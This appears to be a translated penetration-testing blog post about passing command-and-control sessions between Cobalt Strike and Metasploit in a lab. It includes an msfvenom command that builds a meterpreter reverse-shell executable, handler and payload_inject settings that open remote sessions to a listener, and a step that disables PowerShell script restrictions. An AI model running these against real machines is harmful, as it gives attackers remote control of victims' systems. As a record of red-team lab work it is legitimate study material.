I. Introduction
Cobalt Strike is a platform designed for simulating adversary and red team operations, primarily for conducting targeted attacks and simulating advanced threats. CS integrates many functions, which provide convenient operation for penetration testing. At the same time, CS also supports rich plug-ins, and supports more functions through extended plug-ins.
Metasploit is a free, downloadable framework that makes it easy to acquire, develop, and exploit computer software vulnerabilities. It itself comes with professional-grade exploit tools for thousands of known software vulnerabilities.
The earlier version of CobaltStrike relied on the MetasploitFramework framework, but now CobaltStrike no longer uses MetasploitFramework but is used as a separate platform. It is divided into client (Client) and server (Teamserver). There is one server, and there can be multiple clients. The team can conduct distributed cooperative operations.
Cobalt Strike official website address: https://www.cobaltstrike.com. (It seems that it cannot be opened in China, and a ladder is needed. The reason why it cannot be opened is not because of the wall. It may be that there are too many prostitutes in China.)
The above is the introduction of the two software.
I use these two software frequently, but I may have little actual combat experience and have not encountered a linkage scene. I think the linkage between the two software can develop more three-dimensional and comprehensive functions. Then search online, it turns out that it is easy to realize that it supports linkage itself.
Today, record the linkage between CS and MSF, that is, the process of using session transfer.
2. Test topology
In order to facilitate the function demonstration, VPS runs CS server and MSF listens, S1 is win10, simulating the blue side, S2 runs kali, simulating the red side.
3. The CS session is passed to MSF
The first scenario is to join the red team to control S1, obtain the CS session, and want to pass the session to MSF, and use MSF's tools for further penetration.
3.1 CS preparation
1. Run the CS server on the VPS.
2. Use local kali to connect.
3. Set up CS to listen to
port 6666 and set it arbitrarily, and you need to set the permission policy in the VPS security rules. After clicking save, the prompt listener has been run.
4. Generate the payload. For the convenience of testing, I directly generate the payload in PowerShell format,
copy the generated payload to the target host (S1), and execute it with PowerShell.
It may prompt:
cannot be loaded because the execution of scripts is disabled on this system. Please see “get-help about_signing” for more details.
Need to run in advance:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
5. A CS session is obtained at this time.
3.2 MSF preparation
Run msfconsole on the VPS and open msf.
3.3 Session delivery
Add an external listener to CS.
The IP address is the msf listening IP, and the port is the msf listening port.
Then right-click on the session you want to migrate and select spawn. The Chinese version translates to attack.
I personally feel that the translation is not accurate. The word spawn means laying eggs; triggering and promoting birth;
it can be translated into hatching and derivation.
After clicking, you can see that there is a session generated in msf (you need to wait for more than 7 seconds).
This is to use the session command to see the active session information.
4. The MSF session is passed to CS
4.1 CS preparation
Establish a listen wait session.
4.2 MSF preparation
Generate backdoor files through msfvenom
command:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.100 LPORT=6666 -f exe > msfshell.exe
Start MSF, set up meterpreter monitoring to receive the backdoor file and rebound to the shell.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.20.100
set lport 6666
run
Copy the generated exe file to the controlled host S1 (win10), and then run it.
You can see that the session was successfully obtained.
4.3 Session delivery
Use the background command to put the session in the background.
Call the payload_inject module to inject the specified session session id into the Cobalt Strike listener.
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.20.154 # CS服务端IP
set lport 80 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1 # 会话id
run
Above is the command, below is the running screenshot.
You can see that Injecting was successful.
Go back to CS to check.
You can see the established sessions.
V. Summary
5.1 CS session transfer to MSF process
I was testing the record once, and I experienced a lot of abnormalities in the middle, but it couldn't be realized somehow.
In the middle, the CS version was changed, the S1 host operating system version was changed, and the topology structure was also changed.
It finally happened.
The environment CS I finally implemented was version 4.4 k8gege, the operating system of S1 (the attacked machine) was win10, and the payload used the exe format.
Neither powershell nor stageless exe was successful under win7.
Powershell and stageless sessions can succeed under win10.
It seems to have something to do with the terminal operating system.
As for the test topology, it doesn’t matter whether CS and MSF are on the same host or not. It can also be implemented if CS and MSF are VPS, or even if CS is a local host and MSF is a VPS. As long as the network is connected and the port is not limited.
Further testing with CS 4.5 was not possible with other variables held constant. The specific performance is that after clicking the 4.4 version, you will see a prompt message in the command interaction window:
but if you use the CS 4.5 version, there is no prompt:
there may be a problem with my 4.5 version package, after all, they are all for nothing.
5.2 MSF session passed to CS process
This process did not encounter any pitfalls, so there was no more in-depth testing.